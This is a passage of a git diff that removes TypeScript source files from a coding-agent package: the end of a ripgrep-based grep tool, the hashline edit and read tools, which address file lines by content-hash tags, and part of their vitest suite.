Error("Operation aborted"))); - return; - } - - if (!killedDueToLimit && code !== 0 && code !== 1) { - const errorMsg = - stderr.trim() || `ripgrep exited with code ${code}`; - settle(() => reject(new Error(errorMsg))); - return; - } - - if (matchCount === 0) { - settle(() => - resolve({ - content: [{ type: "text", text: "No matches found" }], - details: undefined, - }), - ); - return; - } - - // Format matches (async to support remote file reading) - for (const match of matches) { - if (contextValue === 0 && match.lineText !== undefined) { - const relativePath = formatPath(match.filePath); - const sanitized = match.lineText - .replace(/\r\n/g, "\n") - .replace(/\r/g, "") - .replace(/\n$/, ""); - const { text: truncatedText, wasTruncated } = - truncateLine(sanitized); - if (wasTruncated) linesTruncated = true; - outputLines.push( - `${relativePath}:${match.lineNumber}: ${truncatedText}`, - ); - } else { - const block = await formatBlock( - match.filePath, - match.lineNumber, - ); - outputLines.push(...block); - } - } - - // Apply byte truncation (no line limit since we already have match limit) - const rawOutput = outputLines.join("\n"); - const truncation = truncateHead(rawOutput, { - maxLines: Number.MAX_SAFE_INTEGER, - }); - - let output = truncation.content; - const details: GrepToolDetails = {}; - - // Build notices - const notices: string[] = []; - - if (matchLimitReached) { - notices.push( - `${effectiveLimit} matches limit reached. Use limit=${effectiveLimit * 2} for more, or refine pattern`, - ); - details.matchLimitReached = effectiveLimit; - } - - if (truncation.truncated) { - notices.push(`${formatSize(DEFAULT_MAX_BYTES)} limit reached`); - details.truncation = truncation; - } - - if (linesTruncated) { - notices.push( - `Some lines truncated to ${GREP_MAX_LINE_LENGTH} chars. Use read tool to see full lines`, - ); - details.linesTruncated = true; - } - - if (notices.length > 0) { - output += `\n\n[${notices.join(". ")}]`; - } - - settle(() => - resolve({ - content: [{ type: "text", text: output }], - details: - Object.keys(details).length > 0 ? details : undefined, - }), - ); - }); - } catch (err) { - settle(() => reject(err as Error)); - } - })(); - }); - }, - }; -} - -/** Default grep tool using process.cwd() - for backwards compatibility */ -export const grepTool = createGrepTool(process.cwd()); diff --git a/packages/pi-coding-agent/src/core/tools/hashline-edit.ts b/packages/pi-coding-agent/src/core/tools/hashline-edit.ts deleted file mode 100644 index 9d00139b8..000000000 --- a/packages/pi-coding-agent/src/core/tools/hashline-edit.ts +++ /dev/null @@ -1,365 +0,0 @@ -/** - * Hashline edit tool — applies file edits using line-hash anchors. - * - * The model references lines by `LINE#ID` tags from read output. - * Each tag uniquely identifies a line, so edits remain stable even when lines shift. - */ - -import { constants } from "node:fs"; -import { - access as fsAccess, - readFile as fsReadFile, - unlink as fsUnlink, - writeFile as fsWriteFile, -} from "node:fs/promises"; -import { type Static, Type } from "@sinclair/typebox"; -import type { AgentTool } from "@singularity-forge/pi-agent-core"; -import { - detectLineEnding, - generateDiffString, - normalizeToLF, - restoreLineEndings, - stripBom, -} from "./edit-diff.js"; -import { - type Anchor, - applyHashlineEdits, - type HashlineEdit, - parseHashlineText, - parseTag, -} from "./hashline.js"; -import { resolveToCwd } from "./path-utils.js"; - -// ═══════════════════════════════════════════════════════════════════════════ -// Schema -// ═══════════════════════════════════════════════════════════════════════════ - -const hashlineEditItemSchema = Type.Object( - { - op: Type.Union([ - Type.Literal("replace"), - Type.Literal("append"), - Type.Literal("prepend"), - ]), - pos: Type.Optional( - Type.String({ description: 'Anchor tag (e.g. "5#QQ")' }), - ), - end: Type.Optional( - Type.String({ description: "End anchor for range replace" }), - ), - lines: Type.Union([ - Type.Array(Type.String(), { description: "Replacement content lines" }), - Type.String(), - Type.Null(), - ]), - }, - { additionalProperties: false }, -); - -const hashlineEditSchema = Type.Object( - { - path: Type.String({ description: "Path to the file to edit" }), - edits: Type.Array(hashlineEditItemSchema, { - description: - "Edits to apply (referenced by LINE#ID tags from read output)", - }), - delete: Type.Optional( - Type.Boolean({ description: "If true, delete the file" }), - ), - move: Type.Optional( - Type.String({ description: "If set, move/rename the file to this path" }), - ), - }, - { additionalProperties: false }, -); - -export type HashlineEditInput = Static; -export type HashlineEditItem = Static; - -export interface HashlineEditToolDetails { - /** Unified diff of the changes made */ - diff: string; - /** Line number of the first change in the new file */ - firstChangedLine?: number; -} - -/** - * Pluggable operations for the hashline edit tool. - */ -export interface HashlineEditOperations { - readFile: (absolutePath: string) => Promise; - writeFile: (absolutePath: string, content: string) => Promise; - access: (absolutePath: string) => Promise; - unlink: (absolutePath: string) => Promise; -} - -const defaultHashlineEditOperations: HashlineEditOperations = { - readFile: (path) => fsReadFile(path), - writeFile: (path, content) => fsWriteFile(path, content, "utf-8"), - access: (path) => fsAccess(path, constants.R_OK | constants.W_OK), - unlink: (path) => fsUnlink(path), -}; - -export interface HashlineEditToolOptions { - operations?: HashlineEditOperations; -} - -/** Parse a tag, returning undefined instead of throwing on garbage. */ -function tryParseTag(raw: string): Anchor | undefined { - try { - return parseTag(raw); - } catch { - return undefined; - } -} - -/** - * Map flat tool-schema edits into typed HashlineEdit objects. - */ -function resolveEditAnchors(edits: HashlineEditItem[]): HashlineEdit[] { - const result: HashlineEdit[] = []; - for (const edit of edits) { - const lines = parseHashlineText(edit.lines); - const tag = edit.pos ? tryParseTag(edit.pos) : undefined; - const end = edit.end ? tryParseTag(edit.end) : undefined; - - const op = - edit.op === "append" || edit.op === "prepend" ? edit.op : "replace"; - switch (op) { - case "replace": { - if (tag && end) { - result.push({ op: "replace", pos: tag, end, lines }); - } else if (tag || end) { - result.push({ op: "replace", pos: tag || end!, lines }); - } else { - throw new Error("Replace requires at least one anchor (pos or end)."); - } - break; - } - case "append": { - result.push({ op: "append", pos: tag ?? end, lines }); - break; - } - case "prepend": { - result.push({ op: "prepend", pos: end ?? tag, lines }); - break; - } - } - } - return result; -} - -const HASHLINE_EDIT_DESCRIPTION = `Edit a file by referencing LINE#ID tags from read output. Each tag uniquely identifies a line via content hash, so edits remain stable even when lines shift. - -Read the file first to get fresh tags. Submit one edit call per file with all operations batched. - -Operations: -- replace: Replace line(s) at pos (and optionally through end) with lines content -- append: Insert lines after pos (omit pos for end of file) -- prepend: Insert lines before pos (omit pos for beginning of file) - -Set lines to null or [] to delete lines. Set delete:true to delete the file.`; - -export function createHashlineEditTool( - cwd: string, - options?: HashlineEditToolOptions, -): AgentTool { - const ops = options?.operations ?? defaultHashlineEditOperations; - - return { - name: "hashline_edit", - label: "hashline_edit", - description: HASHLINE_EDIT_DESCRIPTION, - parameters: hashlineEditSchema, - execute: async ( - _toolCallId: string, - params: HashlineEditInput, - signal?: AbortSignal, - ) => { - const { path, edits, delete: deleteFile, move } = params; - const absolutePath = resolveToCwd(path, cwd); - - return new Promise<{ - content: Array<{ type: "text"; text: string }>; - details: HashlineEditToolDetails | undefined; - }>((resolve, reject) => { - if (signal?.aborted) { - reject(new Error("Operation aborted")); - return; - } - - let aborted = false; - const onAbort = () => { - aborted = true; - reject(new Error("Operation aborted")); - }; - if (signal) { - signal.addEventListener("abort", onAbort, { once: true }); - } - - (async () => { - try { - // Handle delete - if (deleteFile) { - let fileExists = true; - try { - await ops.access(absolutePath); - } catch { - fileExists = false; - } - if (fileExists) { - await ops.unlink(absolutePath); - } - if (signal) signal.removeEventListener("abort", onAbort); - resolve({ - content: [ - { - type: "text", - text: fileExists - ? `Deleted ${path}` - : `File not found, nothing to delete: ${path}`, - }, - ], - details: { diff: "" }, - }); - return; - } - - // Handle file creation (no existing file, anchorless appends/prepends) - let fileExists = true; - try { - await ops.access(absolutePath); - } catch { - fileExists = false; - } - - if (!fileExists) { - const lines: string[] = []; - for (const edit of edits) { - if ( - (edit.op === "append" || edit.op === "prepend") && - !edit.pos && - !edit.end - ) { - if (edit.op === "prepend") { - lines.unshift(...parseHashlineText(edit.lines)); - } else { - lines.push(...parseHashlineText(edit.lines)); - } - } else { - throw new Error(`File not found: ${path}`); - } - } - await ops.writeFile(absolutePath, lines.join("\n")); - if (signal) signal.removeEventListener("abort", onAbort); - resolve({ - content: [{ type: "text", text: `Created ${path}` }], - details: { diff: "" }, - }); - return; - } - - if (aborted) return; - - // Read file - const rawContent = (await ops.readFile(absolutePath)).toString( - "utf-8", - ); - const { bom, text } = stripBom(rawContent); - const originalEnding = detectLineEnding(text); - const originalNormalized = normalizeToLF(text); - - if (aborted) return; - - // Resolve and apply edits - const anchorEdits = resolveEditAnchors(edits); - const result = applyHashlineEdits(originalNormalized, anchorEdits); - - if (originalNormalized === result.lines && !move) { - let diagnostic = `No changes made to ${path}. The edits produced identical content.`; - if (result.noopEdits && result.noopEdits.length > 0) { - const details = result.noopEdits - .map( - (e) => - `Edit ${e.editIndex}: replacement for ${e.loc} is identical to current content:\n ${e.loc}| ${e.current}`, - ) - .join("\n"); - diagnostic += `\n${details}`; - diagnostic += - "\nYour content must differ from what the file already contains. Re-read the file to see the current state."; - } - throw new Error(diagnostic); - } - - if (aborted) return; - - // Write result - const finalContent = - bom + restoreLineEndings(result.lines, originalEnding); - const writePath = move ? resolveToCwd(move, cwd) : absolutePath; - - // Prevent silent overwrite when moving to an existing file - if (move && writePath !== absolutePath) { - try { - await ops.access(writePath); - // If access succeeds, the file exists — refuse the move - throw new Error( - `Destination file already exists: ${writePath}. Use a different path or delete the existing file first.`, - ); - } catch (err: any) { - // Re-throw our own error; swallow only "file not found" - if (err.message?.startsWith("Destination file already exists:")) - throw err; - // File doesn't exist — safe to proceed - } - } - - await ops.writeFile(writePath, finalContent); - - // If moved, delete original - if (move && writePath !== absolutePath) { - await ops.unlink(absolutePath); - } - - if (aborted) return; - - if (signal) signal.removeEventListener("abort", onAbort); - - const diffResult = generateDiffString( - originalNormalized, - result.lines, - ); - const resultText = move - ? `Moved ${path} to ${move}` - : `Updated ${path}`; - const warningsBlock = result.warnings?.length - ? `\nWarnings:\n${result.warnings.join("\n")}` - : ""; - - resolve({ - content: [ - { - type: "text", - text: `${resultText}${warningsBlock}`, - }, - ], - details: { - diff: diffResult.diff, - firstChangedLine: - result.firstChangedLine ?? diffResult.firstChangedLine, - }, - }); - } catch (error: any) { - if (signal) signal.removeEventListener("abort", onAbort); - if (!aborted) { - reject(error); - } - } - })(); - }); - }, - }; -} - -/** Default hashline edit tool using process.cwd() */ -export const hashlineEditTool = createHashlineEditTool(process.cwd()); diff --git a/packages/pi-coding-agent/src/core/tools/hashline-read.ts b/packages/pi-coding-agent/src/core/tools/hashline-read.ts deleted file mode 100644 index 7dbcf803b..000000000 --- a/packages/pi-coding-agent/src/core/tools/hashline-read.ts +++ /dev/null @@ -1,255 +0,0 @@ -/** - * Hashline read tool — reads files with LINE#ID prefix on each line. - * - * Produces output like: - * 1#QQ:function hello() { - * 2#KX: return 42; - * 3#NW:} - * - * These tags are used by the hashline_edit tool to address lines precisely. - */ - -import { constants } from "node:fs"; -import { access as fsAccess, readFile as fsReadFile } from "node:fs/promises"; -import { type Static, Type } from "@sinclair/typebox"; -import type { AgentTool } from "@singularity-forge/pi-agent-core"; -import type { ImageContent, TextContent } from "@singularity-forge/pi-ai"; -import { formatDimensionNote, resizeImage } from "../../utils/image-resize.js"; -import { detectSupportedImageMimeTypeFromFile } from "../../utils/mime.js"; -import { formatHashLines } from "./hashline.js"; -import { resolveReadPath } from "./path-utils.js"; -import { - DEFAULT_MAX_BYTES, - DEFAULT_MAX_LINES, - formatSize, - type TruncationResult, - truncateHead, -} from "./truncate.js"; - -const readSchema = Type.Object({ - path: Type.String({ - description: "Path to the file to read (relative or absolute)", - }), - offset: Type.Optional( - Type.Number({ - description: "Line number to start reading from (1-indexed)", - }), - ), - limit: Type.Optional( - Type.Number({ description: "Maximum number of lines to read" }), - ), -}); - -export type HashlineReadToolInput = Static; - -export interface HashlineReadToolDetails { - truncation?: TruncationResult; -} - -/** - * Pluggable operations for the hashline read tool. - */ -export interface HashlineReadOperations { - readFile: (absolutePath: string) => Promise; - access: (absolutePath: string) => Promise; - detectImageMimeType?: ( - absolutePath: string, - ) => Promise; -} - -const defaultReadOperations: HashlineReadOperations = { - readFile: (path) => fsReadFile(path), - access: (path) => fsAccess(path, constants.R_OK), - detectImageMimeType: detectSupportedImageMimeTypeFromFile, -}; - -export interface HashlineReadToolOptions { - autoResizeImages?: boolean; - operations?: HashlineReadOperations; -} - -export function createHashlineReadTool( - cwd: string, - options?: HashlineReadToolOptions, -): AgentTool { - const autoResizeImages = options?.autoResizeImages ?? true; - const ops = options?.operations ?? defaultReadOperations; - - return { - name: "read", - label: "read", - description: `Read a file with LINE#ID hash anchors on each line. These anchors are used by hashline_edit for precise edits. Output format: LINENUM#HASH:CONTENT. Supports text files and images. For text files, output is truncated to ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB. Use offset/limit for large files.`, - parameters: readSchema, - execute: async ( - _toolCallId: string, - { - path, - offset, - limit, - }: { path: string; offset?: number; limit?: number }, - signal?: AbortSignal, - ) => { - const absolutePath = resolveReadPath(path, cwd); - - return new Promise<{ - content: (TextContent | ImageContent)[]; - details: HashlineReadToolDetails | undefined; - }>((resolve, reject) => { - if (signal?.aborted) { - reject(new Error("Operation aborted")); - return; - } - - let aborted = false; - const onAbort = () => { - aborted = true; - reject(new Error("Operation aborted")); - }; - if (signal) { - signal.addEventListener("abort", onAbort, { once: true }); - } - - (async () => { - try { - await ops.access(absolutePath); - - if (aborted) return; - - const mimeType = ops.detectImageMimeType - ? await ops.detectImageMimeType(absolutePath) - : undefined; - - let content: (TextContent | ImageContent)[]; - let details: HashlineReadToolDetails | undefined; - - if (mimeType) { - // Image handling (identical to standard read tool) - const buffer = await ops.readFile(absolutePath); - const base64 = buffer.toString("base64"); - - if (autoResizeImages) { - const resized = await resizeImage({ - type: "image", - data: base64, - mimeType, - }); - const dimensionNote = formatDimensionNote(resized); - let textNote = `Read image file [${resized.mimeType}]`; - if (dimensionNote) { - textNote += `\n${dimensionNote}`; - } - content = [ - { type: "text", text: textNote }, - { - type: "image", - data: resized.data, - mimeType: resized.mimeType, - }, - ]; - } else { - content = [ - { type: "text", text: `Read image file [${mimeType}]` }, - { type: "image", data: base64, mimeType }, - ]; - } - } else { - // Text file — format with hashline prefixes - const buffer = await ops.readFile(absolutePath); - const textContent = buffer.toString("utf-8"); - const allLines = textContent.split("\n"); - const totalFileLines = allLines.length; - - let startLine = offset ? Math.max(0, offset - 1) : 0; - - // Clamp offset to file bounds instead of throwing (#3007) - let offsetClamped = false; - if (startLine >= allLines.length) { - startLine = Math.max(0, allLines.length - 1); - offsetClamped = true; - } - const startLineDisplay = startLine + 1; - - let selectedContent: string; - let userLimitedLines: number | undefined; - if (limit !== undefined) { - const endLine = Math.min(startLine + limit, allLines.length); - selectedContent = allLines.slice(startLine, endLine).join("\n"); - userLimitedLines = endLine - startLine; - } else { - selectedContent = allLines.slice(startLine).join("\n"); - } - - // Apply truncation - const truncation = truncateHead(selectedContent); - - let outputText: string; - - if (truncation.firstLineExceedsLimit) { - const firstLineSize = formatSize( - Buffer.byteLength(allLines[startLine], "utf-8"), - ); - outputText = `[Line ${startLineDisplay} is ${firstLineSize}, exceeds ${formatSize(DEFAULT_MAX_BYTES)} limit. Use bash: sed -n '${startLineDisplay}p' ${path} | head -c ${DEFAULT_MAX_BYTES}]`; - details = { truncation }; - } else if (truncation.truncated) { - const endLineDisplay = - startLineDisplay + truncation.outputLines - 1; - const nextOffset = endLineDisplay + 1; - - // Format with hashline prefixes - outputText = formatHashLines( - truncation.content, - startLineDisplay, - ); - - if (truncation.truncatedBy === "lines") { - outputText += `\n\n[Showing lines ${startLineDisplay}-${endLineDisplay} of ${totalFileLines}. Use offset=${nextOffset} to continue.]`; - } else { - outputText += `\n\n[Showing lines ${startLineDisplay}-${endLineDisplay} of ${totalFileLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Use offset=${nextOffset} to continue.]`; - } - details = { truncation }; - } else if ( - userLimitedLines !== undefined && - startLine + userLimitedLines < allLines.length - ) { - const remaining = - allLines.length - (startLine + userLimitedLines); - const nextOffset = startLine + userLimitedLines + 1; - - outputText = formatHashLines( - truncation.content, - startLineDisplay, - ); - outputText += `\n\n[${remaining} more lines in file. Use offset=${nextOffset} to continue.]`; - } else { - outputText = formatHashLines( - truncation.content, - startLineDisplay, - ); - } - - // Prepend clamp notice so the agent knows offset was adjusted - if (offsetClamped) { - outputText = `[Offset ${offset} beyond end of file (${totalFileLines} lines). Clamped to line ${startLineDisplay}.]\n\n${outputText}`; - } - - content = [{ type: "text", text: outputText }]; - } - - if (aborted) return; - - if (signal) signal.removeEventListener("abort", onAbort); - resolve({ content, details }); - } catch (error: any) { - if (signal) signal.removeEventListener("abort", onAbort); - if (!aborted) { - reject(error); - } - } - })(); - }); - }, - }; -} - -/** Default hashline read tool using process.cwd() */ -export const hashlineReadTool = createHashlineReadTool(process.cwd()); diff --git a/packages/pi-coding-agent/src/core/tools/hashline.test.ts b/packages/pi-coding-agent/src/core/tools/hashline.test.ts deleted file mode 100644 index 78dc63bd8..000000000 --- a/packages/pi-coding-agent/src/core/tools/hashline.test.ts +++ /dev/null @@ -1,540 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { - type Anchor, - applyHashlineEdits, - computeLineHash, - formatHashLines, - formatLineTag, - type HashlineEdit, - HashlineMismatchError, - parseHashlineText, - parseTag, - stripNewLinePrefixes, - validateLineRef, -} from "./hashline.js"; - -function makeTag(line: number, content: string): Anchor { - return parseTag(formatLineTag(line, content)); -} - -// ═══════════════════════════════════════════════════════════════════════════ -// computeLineHash -// ═══════════════════════════════════════════════════════════════════════════ - -describe("computeLineHash", () => { - it("returns 2-character hash string from nibble alphabet", () => { - const hash = computeLineHash(1, "hello"); - assert.match(hash, /^[ZPMQVRWSNKTXJBYH]{2}$/); - }); - - it("same content at same line produces same hash", () => { - const a = computeLineHash(1, "hello"); - const b = computeLineHash(1, "hello"); - assert.equal(a, b); - }); - - it("different content produces different hash", () => { - const a = computeLineHash(1, "hello"); - const b = computeLineHash(1, "world"); - assert.notEqual(a, b); - }); - - it("empty line produces valid hash", () => { - const hash = computeLineHash(1, ""); - assert.match(hash, /^[ZPMQVRWSNKTXJBYH]{2}$/); - }); - - it("uses line number for symbol-only lines", () => { - const a = computeLineHash(1, "***"); - const b = computeLineHash(2, "***"); - assert.notEqual(a, b); - }); - - it("does not use line number for alphanumeric lines", () => { - const a = computeLineHash(1, "hello"); - const b = computeLineHash(2, "hello"); - assert.equal(a, b); - }); - - it("strips trailing whitespace before hashing", () => { - const a = computeLineHash(1, "hello"); - const b = computeLineHash(1, "hello "); - assert.equal(a, b); - }); - - it("strips CR before hashing", () => { - const a = computeLineHash(1, "hello"); - const b = computeLineHash(1, "hello\r"); - assert.equal(a, b); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// formatHashLines -// ═══════════════════════════════════════════════════════════════════════════ - -describe("formatHashLines", () => { - it("formats single line", () => { - const result = formatHashLines("hello"); - const hash = computeLineHash(1, "hello"); - assert.equal(result, `1#${hash}:hello`); - }); - - it("formats multiple lines with 1-indexed numbers", () => { - const result = formatHashLines("foo\nbar\nbaz"); - const lines = result.split("\n"); - assert.equal(lines.length, 3); - assert.ok(lines[0].startsWith("1#")); - assert.ok(lines[1].startsWith("2#")); - assert.ok(lines[2].startsWith("3#")); - }); - - it("respects custom startLine", () => { - const result = formatHashLines("foo\nbar", 10); - const lines = result.split("\n"); - assert.ok(lines[0].startsWith("10#")); - assert.ok(lines[1].startsWith("11#")); - }); - - it("handles empty lines in content", () => { - const result = formatHashLines("foo\n\nbar"); - const lines = result.split("\n"); - assert.equal(lines.length, 3); - assert.match(lines[1], /^2#[ZPMQVRWSNKTXJBYH]{2}:$/); - }); - - it("round-trips with computeLineHash", () => { - const content = "function hello() {\n return 42;\n}"; - const formatted = formatHashLines(content); - const lines = formatted.split("\n"); - - for (let i = 0; i < lines.length; i++) { - const match = lines[i].match(/^(\d+)#([ZPMQVRWSNKTXJBYH]{2}):(.*)$/); - assert.ok(match, `Line ${i} should match hashline format`); - const lineNum = Number.parseInt(match![1], 10); - const hash = match![2]; - const lineContent = match![3]; - assert.equal(computeLineHash(lineNum, lineContent), hash); - } - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// parseTag -// ═══════════════════════════════════════════════════════════════════════════ - -describe("parseTag", () => { - it("parses valid reference", () => { - const ref = parseTag("5#QQ"); - assert.deepEqual(ref, { line: 5, hash: "QQ" }); - }); - - it("rejects single-character hash", () => { - assert.throws(() => parseTag("1#Q"), /Invalid line reference/); - }); - - it("parses long hash by taking strict 2-char prefix", () => { - const ref = parseTag("100#QQQQ"); - assert.deepEqual(ref, { line: 100, hash: "QQ" }); - }); - - it("rejects missing separator", () => { - assert.throws(() => parseTag("5QQ"), /Invalid line reference/); - }); - - it("rejects non-numeric line", () => { - assert.throws(() => parseTag("abc#Q"), /Invalid line reference/); - }); - - it("rejects line number 0", () => { - assert.throws(() => parseTag("0#QQ"), /Line number must be >= 1/); - }); - - it("rejects empty string", () => { - assert.throws(() => parseTag(""), /Invalid line reference/); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// validateLineRef -// ═══════════════════════════════════════════════════════════════════════════ - -describe("validateLineRef", () => { - it("accepts valid ref with matching hash", () => { - const lines = ["hello", "world"]; - const hash = computeLineHash(1, "hello"); - assert.doesNotThrow(() => validateLineRef({ line: 1, hash }, lines)); - }); - - it("rejects line out of range", () => { - const lines = ["hello"]; - const hash = computeLineHash(1, "hello"); - assert.throws( - () => validateLineRef({ line: 2, hash }, lines), - /does not exist/, - ); - }); - - it("rejects mismatched hash", () => { - const lines = ["hello", "world"]; - assert.throws( - () => validateLineRef({ line: 1, hash: "ZZ" }, lines), - /has changed since last read/, - ); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// applyHashlineEdits — replace -// ═══════════════════════════════════════════════════════════════════════════ - -describe("applyHashlineEdits — replace", () => { - it("replaces single line", () => { - const content = "aaa\nbbb\nccc"; - const edits: HashlineEdit[] = [ - { op: "replace", pos: makeTag(2, "bbb"), lines: ["BBB"] }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "aaa\nBBB\nccc"); - assert.equal(result.firstChangedLine, 2); - }); - - it("range replace (shrink)", () => { - const content = "aaa\nbbb\nccc\nddd"; - const edits: HashlineEdit[] = [ - { - op: "replace", - pos: makeTag(2, "bbb"), - end: makeTag(3, "ccc"), - lines: ["ONE"], - }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "aaa\nONE\nddd"); - }); - - it("range replace (same count)", () => { - const content = "aaa\nbbb\nccc\nddd"; - const edits: HashlineEdit[] = [ - { - op: "replace", - pos: makeTag(2, "bbb"), - end: makeTag(3, "ccc"), - lines: ["XXX", "YYY"], - }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "aaa\nXXX\nYYY\nddd"); - }); - - it("replaces first line", () => { - const content = "first\nsecond\nthird"; - const edits: HashlineEdit[] = [ - { op: "replace", pos: makeTag(1, "first"), lines: ["FIRST"] }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "FIRST\nsecond\nthird"); - }); - - it("replaces last line", () => { - const content = "first\nsecond\nthird"; - const edits: HashlineEdit[] = [ - { op: "replace", pos: makeTag(3, "third"), lines: ["THIRD"] }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "first\nsecond\nTHIRD"); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// applyHashlineEdits — delete -// ═══════════════════════════════════════════════════════════════════════════ - -describe("applyHashlineEdits — delete", () => { - it("deletes single line", () => { - const content = "aaa\nbbb\nccc"; - const edits: HashlineEdit[] = [ - { op: "replace", pos: makeTag(2, "bbb"), lines: [] }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "aaa\nccc"); - }); - - it("deletes range of lines", () => { - const content = "aaa\nbbb\nccc\nddd"; - const edits: HashlineEdit[] = [ - { - op: "replace", - pos: makeTag(2, "bbb"), - end: makeTag(3, "ccc"), - lines: [], - }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "aaa\nddd"); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// applyHashlineEdits — append -// ═══════════════════════════════════════════════════════════════════════════ - -describe("applyHashlineEdits — append", () => { - it("inserts after a line", () => { - const content = "aaa\nbbb\nccc"; - const edits: HashlineEdit[] = [ - { op: "append", pos: makeTag(1, "aaa"), lines: ["NEW"] }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "aaa\nNEW\nbbb\nccc"); - assert.equal(result.firstChangedLine, 2); - }); - - it("inserts multiple lines", () => { - const content = "aaa\nbbb"; - const edits: HashlineEdit[] = [ - { op: "append", pos: makeTag(1, "aaa"), lines: ["x", "y", "z"] }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "aaa\nx\ny\nz\nbbb"); - }); - - it("inserts at EOF without anchors", () => { - const content = "aaa\nbbb"; - const edits = [ - { op: "append", lines: ["NEW"] }, - ] as unknown as HashlineEdit[]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "aaa\nbbb\nNEW"); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// applyHashlineEdits — prepend -// ═══════════════════════════════════════════════════════════════════════════ - -describe("applyHashlineEdits — prepend", () => { - it("inserts before a line", () => { - const content = "aaa\nbbb\nccc"; - const edits: HashlineEdit[] = [ - { op: "prepend", pos: makeTag(2, "bbb"), lines: ["NEW"] }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "aaa\nNEW\nbbb\nccc"); - }); - - it("prepends at BOF without anchor", () => { - const content = "aaa\nbbb"; - const edits = [ - { op: "prepend", lines: ["NEW"] }, - ] as unknown as HashlineEdit[]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "NEW\naaa\nbbb"); - }); - - it("insert before and insert after at same line produce correct order", () => { - const content = "aaa\nbbb\nccc"; - const edits: HashlineEdit[] = [ - { op: "prepend", pos: makeTag(2, "bbb"), lines: ["BEFORE"] }, - { op: "append", pos: makeTag(2, "bbb"), lines: ["AFTER"] }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "aaa\nBEFORE\nbbb\nAFTER\nccc"); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// applyHashlineEdits — multiple edits -// ═══════════════════════════════════════════════════════════════════════════ - -describe("applyHashlineEdits — multiple edits", () => { - it("applies two non-overlapping replaces (bottom-up safe)", () => { - const content = "aaa\nbbb\nccc\nddd\neee"; - const edits: HashlineEdit[] = [ - { op: "replace", pos: makeTag(2, "bbb"), lines: ["BBB"] }, - { op: "replace", pos: makeTag(4, "ddd"), lines: ["DDD"] }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "aaa\nBBB\nccc\nDDD\neee"); - }); - - it("empty edits array is a no-op", () => { - const content = "aaa\nbbb"; - const result = applyHashlineEdits(content, []); - assert.equal(result.lines, content); - assert.equal(result.firstChangedLine, undefined); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// applyHashlineEdits — error cases -// ═══════════════════════════════════════════════════════════════════════════ - -describe("applyHashlineEdits — errors", () => { - it("rejects stale hash", () => { - const content = "aaa\nbbb\nccc"; - const edits: HashlineEdit[] = [ - { op: "replace", pos: parseTag("2#QQ"), lines: ["BBB"] }, - ]; - assert.throws( - () => applyHashlineEdits(content, edits), - (err: any) => err instanceof HashlineMismatchError, - ); - }); - - it("stale hash error shows >>> markers with correct hashes", () => { - const content = "aaa\nbbb\nccc\nddd\neee"; - const edits: HashlineEdit[] = [ - { op: "replace", pos: parseTag("2#QQ"), lines: ["BBB"] }, - ]; - - try { - applyHashlineEdits(content, edits); - assert.fail("should have thrown"); - } catch (err: any) { - assert.ok(err instanceof HashlineMismatchError); - assert.ok(err.message.includes(">>>")); - const correctHash = computeLineHash(2, "bbb"); - assert.ok(err.message.includes(`2#${correctHash}:bbb`)); - } - }); - - it("rejects out-of-range line", () => { - const content = "aaa\nbbb"; - const edits: HashlineEdit[] = [ - { op: "replace", pos: parseTag("10#ZZ"), lines: ["X"] }, - ]; - assert.throws(() => applyHashlineEdits(content, edits), /does not exist/); - }); - - it("rejects range with start > end", () => { - const content = "aaa\nbbb\nccc\nddd\neee"; - const edits: HashlineEdit[] = [ - { - op: "replace", - pos: makeTag(5, "eee"), - end: makeTag(2, "bbb"), - lines: ["X"], - }, - ]; - assert.throws(() => applyHashlineEdits(content, edits)); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// stripNewLinePrefixes -// ═══════════════════════════════════════════════════════════════════════════ - -describe("stripNewLinePrefixes", () => { - it("strips leading '+' when majority of lines start with '+'", () => { - const lines = ["+line one", "+line two", "+line three"]; - assert.deepEqual(stripNewLinePrefixes(lines), [ - "line one", - "line two", - "line three", - ]); - }); - - it("does NOT strip leading '-' from Markdown list items", () => { - const lines = ["- item one", "- item two", "- item three"]; - assert.deepEqual(stripNewLinePrefixes(lines), [ - "- item one", - "- item two", - "- item three", - ]); - }); - - it("strips hashline prefixes when all non-empty lines carry them", () => { - const lines = ["1#WQ:foo", "2#TZ:bar", "3#HX:baz"]; - assert.deepEqual(stripNewLinePrefixes(lines), ["foo", "bar", "baz"]); - }); - - it("does NOT strip hashline prefixes when any non-empty line is plain content", () => { - const lines = ["1#WQ:foo", "bar", "3#HX:baz"]; - assert.deepEqual(stripNewLinePrefixes(lines), [ - "1#WQ:foo", - "bar", - "3#HX:baz", - ]); - }); - - it("does NOT strip comment lines that look like hashline prefixes", () => { - assert.deepEqual( - stripNewLinePrefixes([" # Note: Using a fixed version"]), - [" # Note: Using a fixed version"], - ); - assert.deepEqual(stripNewLinePrefixes(["# TODO: remove this"]), [ - "# TODO: remove this", - ]); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ 